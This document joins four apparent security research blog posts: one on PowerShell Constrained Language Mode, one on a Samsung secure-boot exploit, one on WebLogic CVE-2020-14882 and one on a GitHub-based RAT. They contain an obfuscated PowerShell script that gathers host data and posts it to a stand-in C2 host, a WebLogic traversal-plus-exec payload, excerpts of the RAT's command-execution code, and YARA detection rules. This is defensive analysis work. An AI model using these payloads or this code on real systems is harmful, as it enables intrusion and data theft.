*Image courtesy of [Pexels](https://www.pexels.com/zh-tw/photo/3803517/)

## What is Constrained Language Mode and Why it Matters

When PowerShell was [first announced in 2006](https://betanews.com/2006/11/14/windows-powershell-1-0-released/), it was meant to be a flexible command-line shell that features an easy-to-understand yet advanced scripting engine for IT admins. Fast forward to (almost) a decade and a half later, PowerShell has caught up in popularity and has superseded the now-legacy `cmd.exe` in current Windows 10 releases.

However, PowerShell has also been weaponized heavily over the past decade. There is an abundance of PowerShell-based samples all over public sandboxes, and [APTs are known to abuse it whenever possible](https://attack.mitre.org/techniques/T1059/001/). The advanced scripting engine is often utilized to launch fileless/in-memory attacks or [use it as a way around AMSI](https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/). In this post, we will be focusing on a lesser-known feature that can be used to combat this threat: Language Mode.

PowerShell was launched with an option to change its ["Language Mode"](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes). This Language Mode option allows the user to switch between syntaxes allowed or disallowed. By default, all PowerShell sessions are launched with `FullLanguage`, which permits all the available syntaxes and cmdlets at runtime. There are four total language modes available: `FullLanguage`, `RestrictedLanguage`, `NoLanguage` and finally `ConstrainedLanguage`. In today's topic, we are here to focus on the `ConstrainedLanguage` mode introduced in PowerShell 3.0.

 

### Safer PowerShell Environment

First off, let's take a look at what Microsoft Docs says about the `ConstrainedLanguage` mode:

> - All cmdlets in Windows modules, and other UMCI-approved cmdlets, are fully functional and have complete access to system resources, except as noted.
> - All elements of the PowerShell scripting language are permitted.
> - All modules included in Windows can be imported and all commands that the modules export run in the session.
> - In PowerShell Workflow, you can write and run script workflows (workflows written in the PowerShell language). XAML-based workflows are not supported and you cannot run XAML in a script workflow, such as by using Invoke-Expression -Language XAML. Also, workflows cannot call other workflows, although nested workflows are permitted.
> - The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.
> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.
> - Users can get all properties of allowed types. Users can set the values of properties only on Core types. Only the following COM objects are permitted:
> - Scripting.Dictionary
> - Scripting.FileSystemObject
> - VBScript.RegExp

 

#### No Arbitrary C# Code via Add-Type

> The Add-Type cmdlet can load signed assemblies, but it cannot load arbitrary C# code or Win32 APIs.

Many PowerShell-based exploits rely on .NET-based language compilation via `Add-Type` - and that's already thrown out the window by disallowing arbitrary C# code compilation.

![202101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_1_38111256c4.png)

 

#### Non-whitelisted Types are Prohibited

> - The New-Object cmdlet can be used only on allowed types (listed below).
> - Only allowed types (listed below) can be used in PowerShell. Other types are not permitted.
> - Type conversion is permitted, but only when the result is an allowed type.
> - Cmdlet parameters that convert string input to types work only when the resulting type is an allowed type.
> - The ToString() method and the .NET methods of allowed types (listed below) can be invoked. Other methods cannot be invoked.

In laymen's terms, every non-whitelisted type and its methods/properties are blocked from execution. Classes such as `System.Reflection.Assembly`/`System.Convert`/`System.Runtime.CompilerServices` and many more are out-of-reach for threat actors, making code injection or fileless attacks that rely on additional PEs much more difficult.

![202101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_2_ec73ef8561.png)

 

### Prohibit Complex Scripts from Executing

Given the above limitations, this does mean that legitimate complex scripts may not be able to execute correctly. For instance, if your organization uses a script that utilizes WinForm or WPF (Windows Presentation Framework), those will not work at all.

![202101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_3_80ad190a95.png)

Consequentially, modules are affected by this whitelisting system as well. Modules that rely on created types or non-whitelisted type calls will not load properly.

![202101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230067/202101_4_aa876d7833.png)

Therefore, it is crucial to **double-check your organization's scripts** (if you have any) *before* enrolling this policy to your endpoints.

 

### Require Explicit Feature Enrollment

Since, by default, this language mode is an opt-in feature, the user would either have to call `$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"` at the beginning of each session or add `__PSLockdownPolicy` to the system environment variables (**DO NOT** do this for production. [See the section below](#beware-of-pslockdownpolicy). Neither of which is ideal and should only be used for debugging, unit testing, or for general testing purposes only.

Instead, the administrator(s) of your organization should deploy via WDAC (Windows Defender Application Control) on Windows 10+ *or* via AppLocker on Windows 7+. When implemented this way, the attacker will first have to bypass WDAC or AppLocker before gaining full control of a standard PowerShell session. A guideline regarding the deployment for individual or mass number of endpoints can be found under the [Application Control for Windows](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/windows-defender-application-control) article on Microsoft Docs.

 

### Effective Against Scripts, not Standard Cmdlets

It must be made clear that merely enabling Constrained Language Mode is not enough to mitigate the risks PowerShell can bring. While restricting users to a lower-privileged language mode ensures no custom .NET assemblies or code can be executed, this does not stop attackers from crafting malicious scripts from the built-in cmdlets alone. For example, an attacker may still be able to craft a script that collects relevant intel about the computer and send it back to their C2 station.

The following, as an example, will continue to run fine under a PowerShell session with Constrained Language mode enabled.

```ps1
Start-Job -ScriptBlock {
 while($true){
 # MAC address collection
 .("{1}{3}{2}{0}" -f 'ariable', 'S', 't-V', 'e') -Name ("{1}{0}" -f 'ata', 'd') -Value (.("{3}{2}{0}{1}" -f 'Ada', 'pter', 'Net', 'Get-') | .("{1}{0}" -f 'ect', 'sel') ("{1}{0}{3}{2}" -f 'erfac', 'Int', 's', 'eAlia'), ("{0}{1}{2}" -f 'MacA', 'd', 'dress') | &("{3}{2}{0}{1}" -f 'r', 'tTo-Json', 'e', 'Conv') -Compress) > $null
 # OSs + username collection
 .("{2}{0}{1}" -f '-', 'Variable', 'Set') -Name ("{0}{1}" -f 'd', 'ata') -Value (${D`ATa} + (.("{0}{2}{3}{1}" -f 'Ge', 'nce', 't-CimInst', 'a') ("{1}{0}{3}{2}" -f 'ting', 'Win32_Opera', 'em', 'Syst') | .("{0}{1}" -f 'se', 'lect') ("{0}{1}" -f 'na', 'me'), ("{1}{0}" -f 'me', 'CSNa') | &("{2}{3}{1}{0}{4}" -f 'o-Js', 'T', 'Conve', 'rt', 'on') -Compress)) > $null
 # WAN IP collection
 &("{0}{1}{2}{3}" -f 'Set-', 'Vari', 'abl', 'e') -Name ("{1}{0}" -f 'ta', 'da') -Value (${D`AtA} + ((.("{1}{0}" -f 'r', 'iw') -useb ("{1}{0}{2}" -f 'fig', 'ifcon', '.me') -user ("{0}{1}" -f 'cur', 'l'))."cO`NTe`Nt")) > $null
 # Saves data to a temporary file (usually this is done in-memory by threat actors, but in-memory execution purely based on existing cmdlets is either impossible or very difficult)
 .("{1}{0}{2}" -f '-Variabl', 'Set', 'e') -Name ('a') -Value ("$env:temp\$(New-Guid).txt")
 ${Da`Ta} | &("{1}{2}{0}" -f 'le', 'O', 'ut-Fi') ${a}
 # Compresses the file
 &("{3}{0}{2}{1}" -f 'ompr', 'Archive', 'ess-', 'C') -De "$a.zip" -Co ("{0}{1}" -f 'Op', 'timal') -Lit ${a}
 # Sends it back to the C2 station
 &("{1}{0}" -f 'r', 'iw') ("{0}{2}{3}{4}{1}" -f 'h', '00', 'ttp://evil', '.tld:', '80') -method ("{1}{0}" -f 'st', 'po') -body (.("{1}{0}{2}" -f 'Co', 'Get-', 'ntent') -Lit "$a.zip") > $null
 &("{2}{1}{0}" -f 'leep', 't-S', 'Star') -Seconds 2
 }
}
```

Additionally, attackers may still be able to call external resources to achieve their goal, such as achieving persistence via `schtask` or placing additional payloads under `shell:startup`. Remember, Constrained Language mode does **NOT** block most existing cmdlets from functioning; in other words, it limits what the threat actor has on their disposal, but does not mean that they cannot make do with vanilla cmdlets or standard Windows applications.

 

#### Beware of `__PSLockdownPolicy`

Aside from weaponizing existing cmdlets, if the admins had "enabled" the language feature via `__PSLockdownPolicy`, then it would be trivial for attackers with administrative privileges to restore the language policy. Let's take a look at what this environment variable actually does.

![202101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230068/202101_5_707aff90b6.png)

We'll see that it has brought us to the `SystemPolicy` class under the `wldpNativeMethods.cs` file. In various articles that reference this environment variable, they would instruct the administrator to set the `__PSLockdownPolicy` variable to `4`. A value of 4 corresponds with the `WLDP_LOCKDOWN_UMCIENFORCE_FLAG` constant, which indicates the enforcement of UMCI (User-mode Code Integrity).

![202101-6.gif](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230069/202101_6_2a4f7bdb5c.gif)

The call's parent method happens to be named `GetDebugLockdownPolicy`, which indicates that this behavior was meant to be a debug feature, rather than something that should be in a production environment.

![202101-7.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230072/202101_7_4f3622def2.png)

This theory is further backed up by the statement made by [Matt Graeber](https://twitter.com/mattifestation/status/921509830644269062), a renowned security researcher well-versed in WDAC. Further research also shows this behavior was mentioned by the PowerShell team in its [official post regarding Constrained Language Mode as well](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/):

> As part of the implementation of Constrained Language, PowerShell included an environment variable for debugging and unit testing called `__PSLockdownPolicy`. While we have never documented this, some have discovered it and described this as an enforcement mechanism. This is unwise because an attacker can easily change the environment variable to remove this enforcement. In addition, there are also file naming conventions that enable FullLanguage mode on a script, effectively bypassing Constrained Language.

It must be emphasized that administrators should **NOT** deploy this to their endpoints as a way to enable Constrained Language mode - and be extra mindful when reading through articles regarding security features.

 

### Compatibility with Legacy OSs

Another thing to consider before rolling this feature out to endpoints is legacy OSs. As mentioned at the beginning of this post, Constrained Language mode is only available on PowerShell 3.0 onwards - and Windows 7 ships with PowerShell 2.0 by default.

![202101-8.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230074/202101_8_6103f884e7.png)

While it is possible to install WMF 5.1 on older systems such as Windows 7, these systems likely ship with PowerShell 2.0 as its core component as well, which is susceptible to *downgrade attacks*.

All the attacker needs to do is, instead of starting a standard PowerShell 5.1 session, spawn a PowerShell 2.0 session using `PowerShell.exe -Version 2`. Since `ConstrainedLanguage` mode doesn't exist in that version, it will simply fallback to using `FullLanguage`.

![202101-9.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230075/202101_9_7d51c2552d.png)

This is much less of a problem on Windows 10, as PowerShell 5.1 is shipped with the system by default and 2.0 can be removed by using `Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root`. After then, any attempts to launch PowerShell v2 will result in an error message.

```text
PS C:\> powershell -v 2
Encountered a problem reading the registry. Cannot find registry key SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine. The Windows PowerShell 2 engine is not installed on this computer.
```

 

## Hypothetical Testing

To see how effective this mode is against hypothetical attacks, we ...

- gathered 141 recently-submitted unique PowerShell samples as of Jan 27th, 2021.
 - These samples were randomly chosen and were not handpicked (aside from picking out invalid samples that aren't `*.ps1` scripts) in any way.
- executed the scripts via `ls -File | %{start-job -scr {iex $args[0]} -arg $_.FullName}`.
- ran these samples on a system with `ConstrainedLanguage` mode enabled.
- ran these samples on a Windows 10 (build 19042) system with a non-elevated PowerShell session.
 - Elevation is taken out of the equation as attackers would have to escalate its privilege first, and by that point there will be bigger problems to worry about.

![202101-10.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1612230077/202101_10_0e10676b7f.png)

 

In our testing,

- `ConstrainedLanguage` blocked ...
 - 100% (141/141) of the samples from executing properly.
 - ... as in reaching their intended goal of launching a TCP shell, loading its next-stage payload, creating usable persistence, etc.
 - 51% (72/141) of the samples that had attempted to create a non-whitelisted type.
 - 50% (71/141) of the samples that had attempted to invoke a method on non-whitelisted type.
 - 26.9% (38/141) of the samples that had attempted to convert a value into a non-whitelisted type.
 - 2.8% (4/141) of the samples that had attempted to set a property on a non-whitelisted type.
- `ConstrainedLanguage` failed to block ...
 - 0.7% (1/141) of the samples that had managed to create persistence entries.

 

## Conclusion

Since PowerShell is now [an integral part](https://support.microsoft.com/en-us/windows/powershell-is-replacing-command-prompt-fdb690cf-876c-d866-2124-21b6fb29a45f) of modern Windows OSs, sysadmins should not underestimate the risks that PowerShell can bring to the organization.

In the article, we went through the benefits and drawbacks of `ConstrainedLanguage` and how it performs in a hypothetical test. By enabling the engine feature, the risk of PowerShell-introduced exploitation is greatly lowered - if enrolled properly. Organizations should also consider whether or not the reduced availability of modules and or scripts is worth the tradeoff before enrolling this language policy.

A Deep Dive into PowerShell's Constrained Language Mode

Technical Analysis

### D39

D39 focuses on vulnerability research and has identified several critical security flaws, including technical exploitation of mobile, IoT devices, and Linux and Windows operating systems. We have reported dozens of vulnerabilities and dedicate to Samsung Vulnerabilities and Exposures (SVE) and Common Vulnerabilities and Exposures (CVE).

Before diving into the main subject this month, we are glad to announce that TeamT5 is again accepted at Black Hat USA, and our vulnerability research team, D39, will talk at the Black Hat Briefings in the upcoming August. We are honored to share our research findings with researchers and security experts all over the world and expect more recognition of Taiwan's vulnerability researchers in the world.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769445/D39_6-1_6807f98c9b.png)
[Black Hat Session](https://www.blackhat.com/us-20/briefings/schedule/index.html#breaking-samsungs-root-of-trust-exploiting-samsung-s-secure-boot-20290)

This article will cover a part of our talk at Black Hat USA in August.

### Introduction

We have found several vulnerabilities in Samsung Secure boot, which can break through Samsung Knox protections. We can even retrieve users' sensitive data from a locked device. The affected Samsung mobiles include Galaxy S8, S9, and S10. Patches to these vulnerabilities have been provided by Samsung.

One of these vulnerabilities allows attackers to execute arbitrary code in Galaxy S8 secure bootloader to access the device. In this article, we will elaborate how we exploit these vulnerabilities to bypass S8 secure bootloader through the USB device and obtain arbitrary code execution in early boot stage.

Note: Another security research team found this vulnerability at the same time and report it to Samsung.
ID: SVE-2019-15230 (details below).
![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/SVE-2019_3bc5eea84d.png)

### KNOX

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-2_ee457f68cd.png)
[Image courtesy](https://docs.samsungknox.com/whitepapers/knox-platform/hardware-backed-root-of-trust.htm)

As the market leader of smartphone, Samsung conducts a series of protection on Android, known as the Knox Platform, to ensure the security of its devices. During the booting process, Samsung uses S-boot (Secure Boot) to make sure it can only boot a stocked image. If the device tries to boot a custom image, it will trip (turned from 0X0 to 0X1) a one-time programmable bit e-fuse (a.k.a Knox bit). Once a trustzone app (trustlet) detects the Knox bit tripped, it will delete the encryption key of sensitive data to prevent unauthorized data from accessing the locked device.

### Vulnerability

Smartphones with Samsung Exynos processor use a exclusive secure bootloader named S-boot. S-boot has ODIN mode which allows users to upgrade the firmware manually. Due to the insufficiency in its code, the flash command (opcode: 0x66) in ODIN mode is not able to properly check the flash image size, which leads to buffer overflow.

The flash command in ODIN mode uses a temporary buffer to store the image. In Galaxy S8, the buffer is located at 0xC0000000, right in front of sboot code segment (0xC9000000). Although the system will check to ensure that the size being no larger than 0x1e0000, it uses signed comparison to check the size of the image; thus provide us some space to get around. We therefore provide a size larger than 0x80000000, making buffer overflowed and, in the end, the following segments such as code, stack, and heap will be overwritten.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-3_8b038e080e.png)

### The Exploit

#### Code Execution

Although we can overflow the code segment of S-Boot, we still cannot hijack the execution flow. Since USB receivers use physical memory to hold the data it received directly, we cannot affect instruction cache unless the cache line has been invalidated.

Fortunately, the heap segment is not cached due to MMU flag. There are some pointers stored in the heap segment, which can be accessed during the USB process. If we overwrite these pointers with null bytes, the processor will trigger an exception and trap into the exception handler while accessing to NULL pointers. Since the handler has never been executed, it is not cached in the instruction cache. Therefore we can also overwrite the exception handler simultaneously and hijack it directly to our shellcode.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769437/D39_6-4_58c7cc6a95.png)

#### Booting Custom Kernel

Since all the run-time data has been overwritten -- including stack, heap and global variables -- the sboot fail to perform further booting operation. These kinds of data are difficult to recover, so we must re-execute the booting process.

Under normal condition, S-boot calls several functions in a particular function table which is located at 0xC90C7350. To re-execute s-boot, these functions have to be invoked sequentially again. They would initialize the memory of heap and stack, set the global variables, and boot the kernel at the end. However, these functions also involve some SMC calls which cannot be executed twice. Since we only compromised EL1 (Exception Level 1), the trustzone in EL3 (Exception Level 3) cannot be reverted. As a result, we have to overwrite these SMC calls with NOP instruction while overflowing the code segment to ignore those SMC (System Management Controller) calls.

After all the run-time data has been reset, we replace the original kernel with our custom one. Then we execute one last function to boot our custom kernel and get the **root privilege without blowing KNOX bit**.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769436/D39_6-5_2f6b6f9ccd.png)

### Timeline

2019-10-02 Report Vulnerability
2019-10-08 Informed Vulnerability duplicated and release patch note

### Appendix: Potential Exploit Path on Galaxy S10

According to our analysis, this vulnerability affects Galaxy S9, Galaxy S10 and Galaxy Note 10 as well. Among them we find that exploitation can still be trigger at different address. For instance, even the temporary buffer located at different addresss, like 0x890000000 in Galaxy S10, there are still chances to exploit it. To explain the complete exploitation flow, we choose the firmware, G970FXXU1ASD5, as an example.

In Galaxy S9 and later version, there is another feature added to the secure boot - compressed_download. It uses another buffer to store the flash image. However if compressed_download failed during the initialization, it will fallback to normal download, and use the buffer (0xC0000000) to store the flash image.

![](https://res.cloudinary.com/dvgomg5gh/image/upload/v1591769435/D39_6-6_724f86aa51.png)

To make S-boot fallback to normal download, we have to make the function `cd_v3_smp_register` fail. After reversing, we noticed that the function `cd_v3_smp_register` may return failed if there is no available core(`booted_cores` > 3) can be booted. Coincidentally, there is a test command - "smp_boot_test" in the UART (Universal Asynchronous Receiver/Transmitter) console. The command smp_boot_test will boot a core and add the count of the booted_cores. Although `smp_boot_test` shutdown the booted up core immediately, it didn't restore the count. Therefore, the compressed_download_init may failed if the command `smp_boot_test` has been invoked more than twice before entering the download mode.

If we have the UART debug cable to get the UART console, we can call the command`smp_boot_test` 3 times and enter the download mode via the command `usb`. The `compressed_download_init` would fail, then the temporary buffer fallback to 0xC0000000. Therefore the arbitrary code execution on S10's bootloader can be achieved as the one in Galaxy S8.

We managed to build our own TypeC debug cable at first. However, after trying every kinds of Pull-up/down resistor value, TypeC accessory mode, TypeC VDM, we cannot yet figure out a cable for RID_523K detection. Still, in the end, we applied other approach that enable us to attain **Galaxy S10 Secure Bootloader's permission of arbitrary code** without having debug cable.

We will have a thorough display on Black Hat. Stay tuned!

For the latest vulnerability research from D39, please follow:

TeamT5 official website: [https://teamt5.org/](https://teamt5.org/ "https://teamt5.org/")

Twitter: [https://twitter.com/TeamT5_Official](https://twitter.com/TeamT5_Official "https://twitter.com/TeamT5_Official")

BlackHat's Talk: Breaking Samsung's Root of Trust - Exploiting Samsung Secure Boot

圖片來源：[Pixabay](https://pixabay.com/photos/toys-pony-my-little-pony-horse-4968006/)

## 緣起

WebLogic 是美商 Oracle 的主要產品之一，係商業市場上主要的 Java（J2EE）應用伺服器軟體（application server）之一。於 2020 年爆出高風險漏洞 CVE-2020-14882 與 CVE-2020-14883，其中，CVE-2020-14882 的 CVSS 3.1 評分更高達 9.8，屬於嚴重（Critical）等級之漏洞。

攻擊者可利用漏洞，組合惡意指令，使未經授權的請求繞過 WebLogic 後台登入等限制，最終可以遠端執行代碼攻擊（Remote Code Execution），因此攻擊者可輕易的利用此漏洞發起攻擊。

 

## 技術分析

我們從下圖的漏洞 POC 範例開始看起。

![blog_2101-1.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_1_7add5099fd.png)
_圖一、POC 攻擊範例_

 

首先 WebLogic 會對 url 進行檢查，當攻擊者試圖存取 console 路徑底下的檔案資源時（階段 A），會將其 url 與 WebLogic 設定檔（web.xml）內的網頁資源路徑進行比對，若該 url 屬於任一資源路徑，將不須驗證即可進行資源存取（階段 B）。其 web.xml 的檔案路徑為 wlserver/server/lib/consoleapp/webapp/WEB-INF/web.xml，如下圖所示。

![blog_2101-2.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_2_b9ab148ed5.png)
_圖二、web.xml 內容_

 

再來，```http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal``` 會先進行一次 url decode，將 %25 轉成 %，所以該 url 會變成 ```http://127.0.0.1:7001/console/images/%2E%2E%2Fconsole.portal```（階段 C）。

但是在 UIServletInternal.getTree 函式中，WebLogic 又會做再一次 url decode，將 %2E%2E%2F 轉為 ../，於是 url 變成```http://127.0.0.1:7001/console/images/../console.portal```，且後續的操作中 WebLogic 都沒有對路徑進行權限檢查，所以產生了跨目錄穿越攻擊（Directory Traversal）的漏洞。

WebLogic Server 處理後台管理（console）的請求時，會呼叫 BreadcrumbBacking().init 函式進行處理（階段 D）。當 url 中含有 handle 參數時，會將 handle 拆解成 class 和 argument。以 POC 為例，class 就會是 ```com.tangosol.coherence.mvel2.sh.ShellSession()```（階段 E），argument 則是 ```"java.lang.Runtime.getRuntime().exec(%27whoami%27);"```（階段 F）。

後續，會將 argument 傳給 class 的 constructor ，而 ShellSession 函式會再把 argument 傳給 MVELInterpretedRuntime 函式中，最後透過反射執行 argument 中內含的惡意指令，也就是 POC 範例中的 whoami。

 

## 修補插曲

但僅憑跨目錄穿越攻擊、Unauthorized RCE 等問題，何以稱之為「年度最慘漏洞（Most Epic Fail）」？

Oracle 於 2020 年 10 月釋出修補程式，但細究其修補的方法，發現 Oracle 利用黑名單的方式過濾 url 參數，如下圖所示。

![blog_2101-3.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433542/blog_2101_3_67ba9cf2c5.png)
_圖三、Oracle 透過黑名單修補 CVE-2020-14882_

 

#### 利用黑名單方式過濾，會有什麼問題呢？

只要利用不在黑名單內的 %252e%252e，就可以成功繞過（Bypass）已修補程式中的 url 檢查。

眾多安全研究人員於短時間內發現該問題並通報 Oracle，該漏洞也被編號為 CVE-2020-14750，如下圖所示。此錯誤的漏洞修補方式，也使得 CVE-2020-14882 成功入圍 2020 年 [Pwnie Award Most Epic Fail](https://pwnies.com/nominations/active/most-epic-fail/oracle-weblogic-server-co-oracle/) 項目。

![blog_2101-4.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_4_677f062e72.png)
_圖四、眾多研究員回報 CVE-2020-14750_

 

漏洞修補是一門深奧的學問，以 CVE-2020-14882 為例，其成因包含對檔案路徑存取控管不確實、對路徑做兩次的 url decode 及後台管理程式提供代碼執行。但 Oracle 一開始只修補兩次的 url decode 問題，更不用說其修補的方式為黑名單限制。因漏洞修補不確實而產生了更多的漏洞，所以不可不慎。

 

## 影響層面

攻擊者利用此漏洞互相搭配，不須登入即可遠端指令執行，進而產生憑證竊取（Credential Dump）、橫向移動（Lateral Movement）等攻擊行為。

- 受影響產品：WebLogic Server
- 受影響版本：10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

 

## 防護建議

- 更新 Oracle 官方最新修正 [patch](https://www.oracle.com/security-alerts/cpuoct2020.html)。
- 惡意 payload 檢查，例如檢查 console.portal 和 payload 是否帶有 ```handle=...``` 參數，或是直接關閉 console.portal 和 payload 的 handle 功能。
- 匯入以下 Yara 偵測規則，確認是否存在利用該漏洞的惡意程式。

```
rule CVE_2020_14882 {
 meta:
 author = "TeamT5"
 description = "CVE-2020-14882 exploit"
 strings:
 $resource1 = "console/bea-helpsets/"
 $resource2 = "console/framework/skins/wlsconsole/images/"
 $resource3 = "console/framework/skins/wlsconsole/css/"
 $resource4 = "console/framework/skins/wlsconsole/js/"
 $resource5 = "console/framework/skeletons/wlsconsole/css/"
 $resource6 = "console/framework/skeletons/wlsconsole/js/"
 $resource7 = "console/css/"
 $resource8 = "console/common/"
 $resource9 = "console/images/"

 $console1 = "console.portal"
 $console2 = "consolejndi.portal"
 
 $handle = "handle="

 condition:
 any of ($resource*) and 1 of ($console*) and $handle
}
```

![blog_2101-5.png](https://res.cloudinary.com/dvgomg5gh/image/upload/v1610433541/blog_2101_5_8a00e312e3.png)
_圖五、透過 Yara 偵測規則可有效偵測 CVE-2020-14882 exploit_

年度最慘漏洞！深入探究 Oracle WebLogic CVE-2020-14882

圖片來源：[Unsplash](https://unsplash.com/photos/Bb_X4JgSqIM)

## 前言
TeamT5 近期於台灣某政府機關發現駭客入侵事件，駭客於受害端點上植入遠端控制程式（Remote Access Tool, RAT）。特別之處在於，駭客透過 GitHub 雲端服務做為中繼站，藉此規避網路閘道端資安設備的偵測與攔阻。下圖為該受害主機向中繼站報到時，所回傳的端點資訊，可清楚看出該端點的域名為台灣政府機關。

![202008-1](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022323/202008-1_2e7fc527df.png)
_圖一、台灣某政府單位受駭_

## 技術分析
TeamT5 分析此 GithubRAT 後門程式，發現原為 Python Script，透過 PyInstaller 封裝為 Windows 執行檔。

GithubRAT 執行後，會透過 api.github.com 連線至駭客的 Github 專案（Repository），並將駭客下達指令的結果回傳至 Github 專案上，其檔名為 Base64 編碼後的受害電腦名稱，網路封包如下圖所示。

![202008-2](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-2_6b4b387c8f.png)
_圖二、GithubRAT 使用 api.github.com 作為惡意中繼站_

 

TeamT5 分析 GithubRAT 惡意程式運作原理，將其執行步驟拆解如下：

 1. 連線至駭客的 Github 專案，如下所示。
 
 ```
 def __init__(self):
 self.back_git_heart = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_HEART, self.back_sid)
 self.back_git_cmd = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_CMD, self.back_sid)
 self.back_git_answer = 'https://api.github.com/repos/{}/{}/contents/{}/{}/{}'.format(B_USER, B_PROJECT, B_PATH, B_ACTION_ANSWER, self.back_sid)
 self.back_git_token = 'https://api.github.com/repos/{}/{}/contents/{}/{}'.format(B_USER, B_PROJECT, B_PATH, 'token')
 ```
 
 2. 將電腦名稱透過 Base64 編碼並註冊回傳至 Github 專案中。
 3. 從 Github 專案下載駭客的控制指令。
 4. 利用命令提示字元 cmd.exe 執行駭客指令，如下所示。

 ```
 def back_cmd(self, command):
 _t_data = 'timeout'
 p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
 _t = 10
 while _t > 0:
 time.sleep(1)
 if p.poll() == 0:
 _t_data = p.stdout.read() + p.stderr.read()
 break
 _t = _t - 1
 return _t_data
 ```
 
 5. 將指令執行之結果回傳至 Github 專案中，如下所示。

 ```
 def _put_git_answer(self, data):
 _result_status = False
 _status, _sha = self._get_git_hash(self.back_git_answer)
 d = {'message': 'my commit message',
 'content': base64.b64encode(data),
 'sha': _sha
 }
 headers = {'Authorization': 'token ' + B_TOKEN,'user-agent': B_USER_AGENT}
 try:
 r = requests.put(url=self.back_git_answer, data=json.dumps(d), headers=headers)
 if not _status and r.status_code == 201:
 _result_status = True
 if _sha and r.status_code == 200:
 _result_status = True
 except Exception as e:
 pass
 return _result_status
 ```
 
 6. 不斷重複步驟 3 至步驟 5。

 

另外，我們也發現駭客放置許多惡意程式於該 Github 專案中，其中包含密碼竊取（Password Dump）、漏洞利用（Exploit）及後門（Backdoor）等惡意程式，其詳細清單如下表所示。

|Hash|說明|
|---|---|
|a5f12ee032af8e8dd5a373f611f64726|Backdoor Loader|
|944465a0edd09d8eb569630a68ee111c|Cobalt Strike Payload|
|e5ed0de0100f670324202bbf5982a80a|Cobalt Strike Payload|
|4f67e80118dcc4a42ebcb2af2cad65ce|Hacktool，CVE-2014-4113 Exploit|
|0468a816c167ca5ad301dc408eb19fb5|HackTool，Chrome Password Dump|
|b33c7c022e1a25a981faabfc0fe53f6d|HackTool，AD Password Brute-Force Tool|
|5178eb048ecaed83b69aa277a7c6d784|HackTool，NETBIOS NameServer Scanner|
|2f9b582378c559ca66b48abd51f436a0|HackTool，TCP Port Banner Scanner|
|aad8b062891c0715a1842270c0a871eb|HackTool，MS-17-010 Eternalblue Scanner|
|41e32076f2e75181ce9f1cac6099a918|HackTool，MS-17-010 Eternalblue Scanner|
|1a41f9550964ada62f87f6a0b79e37ba|HackTool，NETBIOS NameServer Scanner|
_表一、駭客 GitHub 專案中的惡意程式列表_

## 影響與建議
由於許多單位都會使用 Github 服務作為版本控制之用，因此對 Github 的存取都會是許可的狀態，這也變成駭客反過來利用的機制。駭客利用大眾對於雲端服務的需求，轉而透過該雲端服務作為中繼站，遠端控制受害電腦。同時，該 GithubRAT 係透過 PyInstaller 進行封裝，駭客使用其他封裝工具即可快速改變檔案雜湊值，因此 TeamT5 建議可透過網路連線紀錄來威脅狩獵（Threat Hunting），找尋環境內是否有密集且定期的 api.github.com 連線紀錄，藉此找出環境中異常的網路存取連線。

最後，若單位遭遇進階持續性威脅（Advanced Persistent Threat, APT）時，建議可使用 TeamT5 的 ThreatSonar 惡意威脅鑑識分析平臺，可有效偵測此類進階攻擊手法，並快速完成事件關聯與回應。TeamT5 建議可將下方威脅指標（Indicator of Compromise, IOC）匯入各式資安設備中，強化威脅偵測與識別。

* 表一中所有的惡意程式雜湊值
* Yara Rule

```
rule RAT_Github
{
 meta:
 description= "detecting GithubRAT memory"
 author = "TeamT5"
 date = "2020-08-05"
 
 strings:
 $str1 = "pyi-windows-manifest-filename"
 $str2 = "https://api.github.com/repos/{}/{}/contents/{}/{}"
 $str3 = "back_cmd"
 $str4 = "put_git_answer" 
 
 all of them
}
```

![202008-3](https://res.cloudinary.com/dvgomg5gh/image/upload/v1597022324/202008-3_222c942e82.png)
